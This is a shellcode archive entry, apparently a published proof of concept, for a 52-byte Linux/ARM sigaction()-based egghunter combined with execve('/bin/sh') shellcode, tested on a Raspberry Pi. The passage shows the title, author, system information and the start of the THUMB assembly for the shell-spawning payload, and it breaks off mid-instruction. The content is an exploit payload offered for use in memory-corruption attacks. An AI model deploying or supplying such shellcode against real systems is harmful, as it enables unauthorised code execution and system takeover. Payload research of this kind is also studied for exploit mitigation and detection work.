Linux/ARM sigaction() Egghunting Shellcode

52 bytes small Linux/ARM sigaction() based egghunter (PWN!) + execve("/bin/sh", NULL, NULL) shellcode.


MD5 | 7bcfac55c73e23f173138bdc28cfe048

/*
# Title: Linux/ARM - sigaction() Based Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (52 Bytes)
# Date: 2018-09-24
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara

[System Information]
[email protected]:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
[email protected]:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
[email protected]:~ $


[Procedure]
(1) Create main shellcode in THUMB state. This PoC's example is execve("/bin/sh", NULL, NULL) shellcode. (20 Bytes)
[email protected]:~ $ cat shell.s
.section .text
.global _start

_start:
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0,
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